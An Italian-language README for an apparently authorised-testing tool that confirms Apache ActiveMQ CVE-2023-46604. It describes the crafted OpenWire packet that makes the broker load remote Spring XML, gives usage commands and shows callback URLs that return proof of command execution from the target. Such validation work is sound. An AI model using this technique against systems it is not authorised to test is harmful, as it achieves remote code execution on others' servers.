
Validator non distruttivo per Apache ActiveMQ CVE-2023-46604. Invia pacchetti OpenWire appositamente costruiti, utilizza un server di callback HTTP per confermare RCE o caricamento XML e genera prove in formato CSV/JSON per test di penetrazione autorizzati.
Un validatore non distruttivo in un singolo file per Apache ActiveMQ CVE-2023-46604. Avvia il proprio server di callback HTTP, genera in memoria XML Spring specifico per il target, invia il pacchetto OpenWire appositamente costruito, correla i callback con token univoci e scrive prove in CSV/JSON.
Il progetto è progettato per test di penetrazione autorizzati e validazione di flotte. Deliberatamente non implementa reverse shell, esecuzione di comandi senza restrizioni, espansione CIDR, persistenza o staging di payload.
Sono disponibili due modalità di prova fisse:
rce esegue una sonda di identità fissa, di sola lettura, e restituisce il suo output al server HTTP integrato. Un callback conferma l'esecuzione di comandi del sistema operativo nel contesto del servizio ActiveMQ.xml serve un contesto Spring vuoto. Un fetch conferma che il messaggio OpenWire appositamente costruito ha causato l'istanziazione di ClassPathXmlApplicationContext da parte del target e il recupero di XML controllato dall'attaccante, senza avviare un processo.Non è necessario creare o ospitare separatamente file XML.
--fail-on-vuln adatto alla CILa porta OpenWire predefinita è 61616, ma sono supportate porte non predefinite.
Negli esempi utilizzare indirizzi solo a scopo documentale; sostituirli con i propri asset autorizzati.
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616 \
--callback-host 192.0.2.50
Lo script avvia automaticamente il server di callback su TCP/8000, serve l'XML generato, invia il pacchetto OpenWire, attende le prove, stampa una tabella dei risultati e scrive:
activemq-cve-2023-46604-results.csv
python3 activemq_validator.py \
--authorized \
--target mq01.example.test:61616 \
--target mq02.example.test:61616 \
--target tcp://192.0.2.23:61500 \
--callback-host 192.0.2.50 \
--workers 4 \
--json-output results.json
Creare targets.txt:
# Un host esplicitamente autorizzato per riga
mq01.example.test:61616
192.0.2.21:61616
tcp://192.0.2.22:61500
ssl://mq-secure.example.test:61617
Eseguire:
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--http-port 8000 \
--platform linux \
--proof rce \
--workers 8 \
--wait 15 \
--output findings.csv \
--json-output findings.json
I file dei target possono contenere righe vuote e commenti che iniziano con #. L'espansione CIDR non è supportata intenzionalmente; enumerare esplicitamente l'inventario autorizzato.
Per reti instradate semplici, omettere --callback-host:
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616
Lo strumento seleziona l'indirizzo sorgente locale utilizzato per instradare verso il primo target. Specificare --callback-host quando si testa attraverso NAT, VPN, container, host di salto o sistemi multi-homed.
python3 activemq_validator.py \
--authorized \
--target 192.0.2.30:61616 \
--callback-host 192.0.2.50 \
--platform windows \
--proof rce
La sonda Windows utilizza un comando PowerShell fisso e non interattivo per restituire l'identità del servizio, il nome del computer e la versione del sistema operativo. Non fornisce una shell interattiva.
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--proof xml
Questa modalità non istanzia ProcessBuilder.
Utilizzare un target ssl://:
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50
Per un listener interno con certificato non attendibile:
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50 \
--tls-no-verify
--tls-no-verify influisce solo sulla connessione TLS OpenWire. Il server di callback è HTTP.
| Stato | Significato |
|---|---|
CONFIRMED_VULNERABLE_RCE | Il target ha recuperato il proprio XML e il comando di identità fisso ha restituito prove. |
CONFIRMED_VULNERABLE_XML_LOAD | In modalità xml, il target ha recuperato il documento XML univoco. |
VULNERABLE_XML_LOAD_ONLY | In modalità rce, il recupero XML è avvenuto ma il callback del comando non si è verificato. Il percorso di istanziazione della classe vulnerabile è confermato; gli strumenti di callback, l'egress o l'esecuzione di processi potrebbero essere limitati. |
NOT_CONFIRMED | Il pacchetto è stato inviato, ma nessuna prova HTTP correlata è arrivata prima della scadenza. Questo non è una prova che l'host sia stato aggiornato. |
UNREACHABLE | La connessione TCP/TLS o l'invio del pacchetto non sono riusciti. |
Un broker aggiornato, una porta errata, il filtraggio dell'egress, problemi di instradamento, una mancata corrispondenza TLS e i controlli degli endpoint possono tutti influenzare la validazione basata su callback. Conservare i timestamp CSV/JSON e l'output dei callback come prove per il report.
La sonda di identità Linux restituisce un output simile a:
CVE-2023-46604 RCE CONFIRMED
uid=997(activemq) gid=997(activemq) groups=997(activemq)
user=activemq
host=mq01
os=Linux 5.15.0-...
Prova curl, wget e BusyBox wget per la POST HTTP. Se l'XML viene recuperato ma nessuno di questi client è disponibile, il risultato è VULNERABLE_XML_LOAD_ONLY anziché un falso negativo.
0: la validazione è stata completata, oppure sono state trovate vulnerabilità senza --fail-on-vuln2: è stato trovato almeno un risultato vulnerabile ed è stato fornito --fail-on-vulnEsempio di utilizzo in CI:
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--fail-on-vuln
CVE-2023-46604 riguarda l'unmarshalling OpenWire in Java. Il validatore invia una ExceptionResponse OpenWire con marshalling lasco la cui classe di eccezione è:
org.springframework.context.support.ClassPathXmlApplicationContext
Il messaggio di eccezione è l'URL univoco dell'XML Spring generato. Il codice ActiveMQ vulnerabile istanzia la classe selezionata dall'attaccante con quell'URL. In modalità rce, il contesto Spring avvia una sonda ProcessBuilder fissa; in modalità xml, il contesto è vuoto.
Ogni target riceve un token diverso, ad esempio:
http://192.0.2.50:8000/poc/<unique-token>.xml
http://192.0.2.50:8000/cb/<same-token>
Ciò consente di attribuire i callback concorrenti al target corretto.